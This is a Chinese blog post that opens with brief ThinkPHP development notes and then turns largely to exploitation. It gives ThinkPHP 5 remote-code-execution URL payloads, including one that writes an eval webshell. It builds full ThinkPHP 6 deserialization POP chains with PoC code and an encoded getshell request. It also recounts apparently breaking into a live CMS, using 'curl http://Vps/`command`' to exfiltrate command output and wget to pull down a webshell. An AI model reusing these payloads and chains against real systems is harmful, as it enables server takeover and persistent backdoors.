• Web应用-Thinkphp框架-开发指南


    在这里插入图片描述
    在这里插入图片描述

    Thinkphp框架

    Model模型类

    $name 属性

    $name 属性可能用于指定该类对应的数据库表名。

    $append 属性

    protected $append = ['goods_sales'];
    $append 属性通常用于指定在查询数据时自动追加的字段。这意味着当你获取一个 Goods 模型的实例时,goods_sales 这个字段(尽管它可能不是数据库表中的一个实际字段)也会作为模型的一个属性被返回。

    ThinkPHP 5.1中的链式查询

    https://mp.weixin.qq.com/s/vAkTa6zmvXmm4mO1HWmwxg

    一、基本查询
    考虑一个名为User的模型,我们将使用链式查询从数据库中查询用户记录。
    // 导入模型类
    use app\common\model\User;
    // 创建模型实例
    $userModel = new User();
    // 使用链式查询查询所有用户
    $users = $userModel->select();
    
    
    上面的代码中,我们导入了User模型类,创建了一个模型实例,并使用select方法执行查询。这将返回一个包含所有用户记录的结果集。
    二、查询规则
    链式查询中的查询规则允许您在查询中设置条件、排序、限制等。以下是一些常见的查询规则示例:
    1、条件查询
    $users = $userModel->where('status', 1)->select();
    上面的代码中,我们使用where方法添加了一个条件,只查询status字段等于1的用户。
    2、排序查询
    $users = $userModel->order('create_time', 'desc')->select();
    这里,我们使用order方法按create_time字段降序排序用户。
    3、限制查询
    $users = $userModel->limit(10)->select();
    使用limit方法可以限制查询结果返回的记录数。
    4、进一步的链式查询
    您还可以进一步链接其他查询方法,以构建更复杂的查询。例如,您可以进行多次条件查询,联合多个表等。
    $users = $userModel->where('status', 1)
                      ->where('age', '>', 18)
                      ->join('profile p', 'p.user_id = user.id')
                      ->field('user.id, user.username, p.email')
                      ->select();
    上面的代码示例演示了如何使用多个where条件、join联接其他表、field选择要返回的字段,以及最终的select查询。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    hinkPHP poc链挖掘与复现 渗透原理与挖掘

    ThinkPHP5-rce 5.0.22/5.1.29 远程代码执行漏洞

    poc:

    /index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
    
    • 1

    payload

    代码执行

    格式:

    index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=系统命令&vars[1][]=命令
    index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 
    
    • 1
    • 2

    写入webshell

    
    
    /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码 
    
    最后添加的payload  eg:
    
    /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval%28%24_POST%5B2233%5D%29%3B%3F%3E 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述

    6.0.12LTS反序列化

    tp框架6.0.12是LTS版本,长期维护
    有师傅发过 RCE getshell 的poc链

    准备工作

    composer下载 thinkphp框架

    https://www.phpcomposer.com/ (中国镜像站)

    安装命令:

    composer create-project topthink/think tp6 6.0.12
    
    • 1

    在这里插入图片描述

    打开 nginx中间件

    在这里插入图片描述

    php7.3

    在这里插入图片描述
    在这里插入图片描述
    访问正常。

    方便调试 开启显错

    ‘show_error_msg’ => true

    在这里插入图片描述
    在这里插入图片描述

    找反序列化入口点

    入口点,都是__destruct()类的构造函数,以此触发下一步函数的执行
    下面有很多类都是抽象类
    真正的入口很大程度上是他们的子类等。

    在这里插入图片描述
    看到 命名vendor 第三方 命名空间下
    namespace League\Flysystem\Cached\Storage;
    // 导入第三方类库
    abstract class AbstractCache这个抽象类的析构方法中,调用了save方法
    在这里插入图片描述
    implements 实现一个接口 关键字,必须实现接口中的所有方法。

    查找继承这个抽象类 的子类
    搜索语句:extends AbstractCache

    进一步发现这个Adapter有一个save方法,而且,看方法结构就基本上可以断定是一个写文件的操作。
    在这里插入图片描述

    查询 thinkphp 文档
    https://www.thinkphp.cn/extend/945.html
    确定正是 filesystem 文件系统的 think-filesystem插件
    从thinkphp 5 就已经有了

    think-filesystem基于 Frank de Jonge 开发的 PHP 包 Flysystem 提供了强大的文件系统抽象。
    composer require selden1992/think-flysystem

    提供了文件写入方法api

     API 一般用法
    
    写文件
    
    Files::write('path/to/file.txt', 'contents');
    更新文件
    
    Files::update('path/to/file.txt', 'new contents');
    写或更新文件
    
    Files::put('path/to/file.txt', 'contents');
    读取文件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    重点是,adapter可控,且只需要保证has方法返回false即可写入。

    确定链路

    继续跟进,因为adapter拥有write方法,我们要找到一个有write方法的类。
    发现,本地local.php
    class Local extends AbstractAdapter里的write方法,调用写文件的file_put_contents() 函数。

    在这里插入图片描述
    在这里插入图片描述
    file_put_contents() 函数把一个字符串写入文件中。

     int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
    
    如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。
    
    • 1
    • 2
    • 3

    确定整体write流程

    so,write函数解决了,整个利用链条通顺了。
    整体的调用流程如图所示:
    在这里插入图片描述

    构建poc链并实现getshell

    入口文件 析构函数 处构造

    在这里插入图片描述

         //  //属性值为false,才可以调用该save方法
        protected $autosave = true; 
        protected $cache = ['.'aming'.'\']);?>']; 
        public function __destruct()
        {
       
    
            // //autoSave参数为false
            if (! $this->autosave) {
       
                $this->save();
            }
        }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    继承析构入口的适配器 Adapter 构造

    在这里插入图片描述

    
    class Adapter extends AbstractCache
    {
       
        //适配器,也就是我们要利用write方法的类
        
       protected $file = 'aming_hack.php';
         //文件名,写入文件的文件名
    
        public function __construct($local)
            {
       
                //方便生成的属性为local类对象,所以直接写到构造方法里了
                $this->adapter = $local;
            }
    
    
      public function getForStorage()
        {
       
            // //不用担心这个函数,它也没把我们的写入的内容怎么地
            $cleaned = $this->cleanContents($this->cache);
    
            return json_encode([$cleaned, $this->complete, $this->expire]);
        }
        public function save()
        {
       
            $config = new Config(); //为了方便,这个参数可以随便写一下,
            //但是如果随便写,下面的write定义的部分记得把传参约定的类型去掉(要不然php7过不了)
            $contents = $this->getForStorage();
    
            if ($this->adapter->has($this->file)) {
       
                $this->adapter->update($this->file, $contents, $config);
            } else {
       
                $this->adapter->write($this->file, $contents, $config);
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    local 类 构造

    在这里插入图片描述

         //这个$config的约定类型可以去掉,为了方便
        public function write($path, $contents, Config $config)
        {
       
            //这个调用是没所谓,$path就是传入的文件名,不过要确保文件名是否冲突,所以,每次调用,写入文件的文件名换一下
            $location = $this->applyPathPrefix($path);
            $this->ensureDirectory(dirname($location));
    
            if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
       
                return false;
            }
    
            // $type = 'file';
            // $result = compact('contents', 'type', 'size', 'path');
    
            // if ($visibility = $config->get('visibility')) {
       
            //     $result['visibility'] = $visibility;
            //     $this->setVisibility($path, $visibility);
            // }
    
            // return $result;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    获取poc

     <?php
    
    
    namespace
    {
       
        use League\Flysystem\Adapter\Local;
        use League\Flysystem\Cached\Storage\Adapter;
    
        $local = new Local();
    
        echo urlencode(serialize((new Adapter($local))));
    
    }
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    Controller 类

    在 Web 框架(如 ThinkPHP)中,Controller 类是一个基础控制器类,它包含了一些用于处理 Web 请求的通用逻辑和方法。通过继承 Controller 类,Goods 类可以访问和使用 Controller 类中定义的属性和方法,同时还可以添加或覆盖特定的逻辑来适应 Goods 类的具体需求。

    控制类 用来接收poc

     <?php
    namespace app\controller;
    
    use app\BaseController; 
     
    
    class Index extends BaseController
    
    {
       
    
            public function uns()
        {
       
            
            unserialize(urldecode(($_GET['aming'])));
    
            
        } 
      
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    getshell 利用

    http://127.0.0.1/tp6/public/index.php/index/uns?aming=O%3A39%3A%22League\Flysystem\Cached\Storage\Adapter%22%3A6%3A{s%3A10%3A%22%00*%00adapter%22%3BO%3A30%3A%22League\Flysystem\Adapter\Local%22%3A3%3A{s%3A16%3A%22%00*%00permissionMap%22%3BN%3Bs%3A13%3A%22%00*%00writeFlags%22%3BN%3Bs%3A13%3A%22%00*%00pathPrefix%22%3BN%3B}s%3A9%3A%22%00*%00expire%22%3BN%3Bs%3A7%3A%22%00*%00file%22%3Bs%3A8%3A%22abcd.php%22%3Bs%3A11%3A%22%00*%00autosave%22%3Bb%3A0%3Bs%3A8%3A%22%00*%00cache%22%3Ba%3A1%3A{i%3A0%3Bs%3A29%3A%22%3C%3Fphp+eval(%24_POST[%27yyds%27])%3B%3F%3E%22%3B}s%3A11%3A%22%00*%00complete%22%3Ba%3A0%3A{}}
    
    • 1

    在这里插入图片描述

    一句话连接

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    无回显Rce-thinkphp5-Getshell

    信息收集过程中找到一个登陆界面
    测试逻辑漏洞过程中,修改参数的时候爆出了Debug

    在这里插入图片描述
    在这里插入图片描述
    通过Debug信息得知,这是一个thinphp的cms

    之前thinkphp的日志泄露漏洞屡试不爽,于是想先找日志

    在这里插入图片描述
    通过Debug可以得知他的根目录在/www/wwwroot/devorder/public

    访问Public目录下的文件,访问不到runtime目录,只能另辟蹊径
    在这里插入图片描述
    在最下边找到了Cms的版本号,于是去网上找这个版本公开的漏洞
    在这里插入图片描述
    经过寻找、测试,发现存在由变量覆盖导致的Rce漏洞
    具体漏洞分析可以参考 https://blog.csdn.net/xuandao_ahfengren/article/details/86333189

    直接使用网上的Payload提示执行命令的函数被禁用,估计是Disable_function的作用

    在这里插入图片描述
    其中有几个执行命令的函数发送请求后会直接返回登陆界面,未知执行状态

    在这里插入图片描述
    于是找了一个在线的DnsLog平台,这种平台会随机给一个子域名。
    如果对子域名发送Http、Icmp的包,平台就会接收到数据包,从而判断命令是否执行。
    这种方式在sql注入中这种方式也有奇效。

    具体使用方法可以参考这位师傅写的文章:https://www.cnblogs.com/sstfy/p/10351807.html

    在这里执行了几次Ping之后还是收不到返回,猜测可能Icmp包被拦了,改为用Curl请求子域名
    在这里插入图片描述
    成功收到请求
    在这里插入图片描述
    这种在线的只能简单的验证是否存在Rce,无法获得命令回显。

    如果想获得命令回显,可以使用在线的Ceye平台来接收回显。

    也可以使用自己的Vps来接收回显

    在Vps开启Web服务或防火墙没有禁用Icmp的时候,发送Http或Icmp包后会在日志中留下记录,直接查看日志记录即可获得命令回显。

    例如:

     curl http://Vps/`command`
    
    • 1

    这里使用返单引号将要执行的命令包裹,原理是在Linux中执行命令会首先执行反单引号中的命令,并将其结果输出。
    这段代码在执行完whoami后,会将返回的值拼接到http://Vps/ 后。

    我这里选择开启Web服务
    再看这次返回结果,日志中的访问记录是http://Vps/www ,可以得知目标系统是Linux,并且使用WWW权限开启的Web服务。

    在这里插入图片描述
    Getshell
    尝试了bash反弹Shell的方式没有弹回来。
    这里不知道为什么使用echo >> 的方法写不进去,最后使用Wget下载文件到指定目录。

    以上两个问题,有知道的师傅方便的话通过评论告我一声,先行谢过。
    通过Debug中的绝对路径写WebShell后找不到写的Webshell,于是在Web目录下查找登陆界面,成功得到真.绝对路径。

    在这里插入图片描述
    将Webshell写在VPS中,再次使用Wget下载Webshell到真.绝对路径,成功Getshell。

    在这里插入图片描述

    Thinkphp

    ThinkPHP6.0完全开发手册

    看云 (kancloud.cn) https://www.kancloud.cn/manual/thinkphp6_0/1037479

    6.0.1

    omposer create-project topthink/think tp6.0.1
    
        "require": {
       
            "php": ">=7.1.0",
            "topthink/framework": "6.0.1",
            "topthink/think-orm": "^2.0"
        },
    
    composer update
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    6.0.4—6.0.12

    composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
    composer create-project topthink/think tp6.0.12
    
    
    
    
    控制器仿照国赛样式写到了index控制器里写了个test方法
    
    ;
    
    use app\BaseController;
    
    class Index extends BaseController
    {
       
        public function test(){
       
            unserialize($_POST['a']);
        }
    }
    
    
    
    
    前边都是一样的只是后边的else语句发生了变化:
    
    之前
    
    if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
       
        $value = $this->getJsonValue($fieldName, $value);
    } else {
       
        $closure = $this->withAttr[$fieldName];
            $value = $closure($value, $this->data);
    }
    
    现在:
    
    if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
       
        $value = $this->getJsonValue($fieldName, $value);
    } else {
       
        $closure = $this->withAttr[$fieldName];
        if ($closure instanceof \Closure) {
       
            $value = $closure($value, $this->data);
        }
    
    在执行$value = $closure($value, $this->data);之前多了一条if判断,它会再一次判断$closure是否为闭包函数,所以在这里原来链就被断了,但师傅们想到了另一种方法,就是进入if中的getJsonValue(),跟进看一下
    
    protected function getJsonValue($name, $value)
        {
       
            if (is_null($value)) {
       
                return $value;
            }
    
            foreach ($this->withAttr[$name] as $key => $closure) {
       
                if ($this->jsonAssoc) {
       
                    $value[$key] = $closure($value[$key], $value);
                } else {
       
                    $value->$key = $closure($value->$key, $value);
                }
            }
    
            return $value;
        }
    
    只要构造$this->jsonAssoc = true;,就能进入if执行$value[$key] = $closure($value[$key], $value);从而达到同样的效果
    
    下面看一下具体绕过方式:
    
    首先就是绕过if判断if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
       
    
    先看in_array($fieldName, $this->json),之前也说过其实$fieldName就是我们data的键值,所以可以构造:
    
    protected $json = ["key"];
    
    当data的键为key时,$fieldName就为key,那就满足了in_array
    
    再看is_array($this->withAttr[$fieldName])
    
    相当于判断withAttr['key']是否为数组,所以就可以构造:
    
    private $withAttr = ["key"=>["key1"=>"system"]];
    
    绕过后便进入了getJsonValue()——>$value = $this->getJsonValue($fieldName, $value); 其中$fieldName, $value分别是data的键和值,上条链有说过。先看下最后设置的$data值
    
    private $data = ["key" => ["key1" => "whoami"]];
    
    跟进后看下foreach语句,$name是上边的$fieldName=key,$value还是之前的$value的值=["key1" => "whoami"]
    
    protected function getJsonValue($name, $value)
    {
       
    foreach ($this->withAttr[$name] as $key => $closure) {
       
        if ($this->jsonAssoc) {
       
            $value[$key] = $closure($value[$key], $value);
        }
    
    所以这里withAttr[$name]=withAttr['key']=["key1"=>"system"],所以经过foreach后$key=key1,$closure=system
    
    将$this->jsonAssoc设为true——>$this->jsonAssoc = true;
    
    最后进入if,$closure($value[$key], $value);=>system('data['key1]',$value)=>system('whoami',$value);
    
    这里后边跟个$value对system是没有影响的
    
    
    
    所以最后成功执行并retrun返回了
    
    POC
    
    ;
    
    trait Attribute
    {
       
        private $data = ["key" => ["key1" => "whoami"]];
        private $withAttr = ["key"=>["key1"=>"system"]];
        protected $json = ["key"];
    }
    namespace think;
    
    abstract class Model
    {
       
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        private $exists;
        private $force;
        protected $table;
        protected $jsonAssoc;
        function __construct($obj = '')
        {
       
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->force = true;
            $this->table = $obj;
            $this->jsonAssoc = true;
        }
    }
    
    namespace think\model;
    
    use think\Model;
    
    class Pivot extends Model
    {
       
    }
    $a = new Pivot();
    $b = new Pivot($a);
    
    echo urlencode(serialize($b));
    
    
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177

    6.0.1—6.0.3

    用回溯法写
    
    
    从旧版本开始
    
    反序列化先找入口
    
    /vendor/topthink/think-orm/src/Model.php
    
    
    public function __destruct()
    {
       
        if ($this->lazySave) {
       
            $this->save();
        }
    }
    
    
    lazySave可控,直接跟进save()
    
    public function save(array $data = [], string $sequence = null): bool
    {
       
        // 数据对象赋值
        $this->setAttrs($data);
    
        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
       
            return false;
        }
    
        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
    
        if (false === $result) {
       
            return false;
        }
    
        // 写入回调
        $this->trigger('AfterWrite');
    
        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->get      = [];
        $this->lazySave = false;
    
        return true;
    }
    直接调用了save()方法没有传任何值,所以$this->setAttrs($data);中什么都没执行,接着进入if语句
    
    public function isEmpty(): bool
    {
       
        return empty($this->data);
    }
    
    protected function trigger(string $event): bool
    {
       
        if (!$this->withEvent) {
       
            return true;
    }
    
        
        
        
    想绕过if,让$this->data有值,$this->withEvent为false即可
    
    接着进入updateData()
    
    protected function updateData(): bool
    {
       
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
       
            return false;
        }
    
        $this->checkData();
    
        // 获取有更新的数据
        $data = $this->getChangedData();
    
        if (empty($data)) {
       
            // 关联更新
            if (!empty($this->relationWrite)) {
       
                $this->autoRelationUpdate();
            }
    
            return true;
        }
    
        if ($this->autoWriteTimestamp && $this->updateTime) {
       
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }
    
        // 检查允许字段
        $allowFields = $this->checkAllowFields();
        ...............................
    }
    
    第一个if还是进行了trigger()判断,跟前边那个一样,可以直接绕过,checkData()也没执行任何东西,接着跟进$data = $this->getChangedData();
    
    public function getChangedData(): array
    {
       
        $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
       
            if ((empty($a) || empty($b)) && $a !== $b) {
       
                return 1;
            }
    
            return is_object($a) || $a != $b ? 1 : 0;
        });
    
        // 只读字段不允许更新
        foreach ($this->readonly as $key => $field) {
       
            if (array_key_exists($field, $data)) {
       
                unset($data[$field]);
            }
        }
    
        return $data;
    }
    
    控制$this->force的值即可将我们传入的$this->data的值给$data
    
    接着进入下边的checkAllowFields(),进入db()->instance(),最后
    
    return $this->instance[$name];
    
    由于$this是类DbManager的实例化,所以会执行__toString(),下面的几部操作就跟tp5.1的很像了
    
    __toString()->
    toJson()->
    toArray()->
    getAttr()
    
    先看下进入toArray()的部分代码
        
        
        
        
        
    $data = array_merge($this->data, $this->relation);,这里$this->data是可控的即:我们传入的值,之后会进行if判断,只要我们在初始化时不给$this->hidden和$hasVisible值,默认就可进入这条if语句
    
    跟进getAttr()
    
    public function getAttr(string $name)
    {
       
        try {
       
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
       
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }
    
        return $this->getValue($name, $value, $relation);
    }
    
    最后会执行getValue,用到参数$name, $value, $relation,所以跟进一下getData()看下$value的值
    
    public function getData(string $name = null)
    {
       
        if (is_null($name)) {
       
            return $this->data;
        }
    
        $fieldName = $this->getRealFieldName($name);
    
        if (array_key_exists($fieldName, $this->data)) {
       
            return $this->data[$fieldName];
        } elseif (array_key_exists($fieldName, $this->relation)) {
       
            return $this->relation[$fieldName];
        }
    
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }
    
    再跟进getRealFieldName()
    
    protected function getRealFieldName(string $name): string
    {
       
        if ($this->convertNameToCamel || !$this->strict) {
       
            return Str::snake($name);
        }
    
        return $name;
    }
    
    $this->convertNameToCamel这里为空,$this->strict默认也是true,所以直接return $name。所以$fieldName=$name,当$this->data中存在键$fieldName即会retrun返回(这里回溯到toArray()方法中,其实$fieldName就是我们data的键值)
    
    if (array_key_exists($fieldName, $this->data)) {
       
            return $this->data[$fieldName];
        } elseif (array_key_exists($fieldName, $this->relation)) {
       
            return $this->relation[$fieldName];
        }
    
    所以最后的getAttr#value=我们传入的$data的值
    
    看完$value,回到getAttr(),进入getValue(),else语句中会执行如下语句
    
    } else {
       
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
    • 219
    • 220
    • 221
    • 222
    • 223
    • 224
    • 225
    • 226
    • 227
  • 相关阅读:
    TCP协议之《套接口快速接收路径》
    Idea 创建 Spring 项目(保姆级)
    线程的生命周期以及其中的方法
    微信小程序开发15 KISS:怎么设计简单易用的云开发函数?
    简单讲解冒泡排序算法
    Flask初体验
    Ubuntu下安装Go
    Neuro-Oncology | IF:15.9 & CUT&Tag和RNA-seq联合解析胶质母细胞瘤的耐药性
    Hive小文件处理
    windows和linux下安装memcached
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/133759613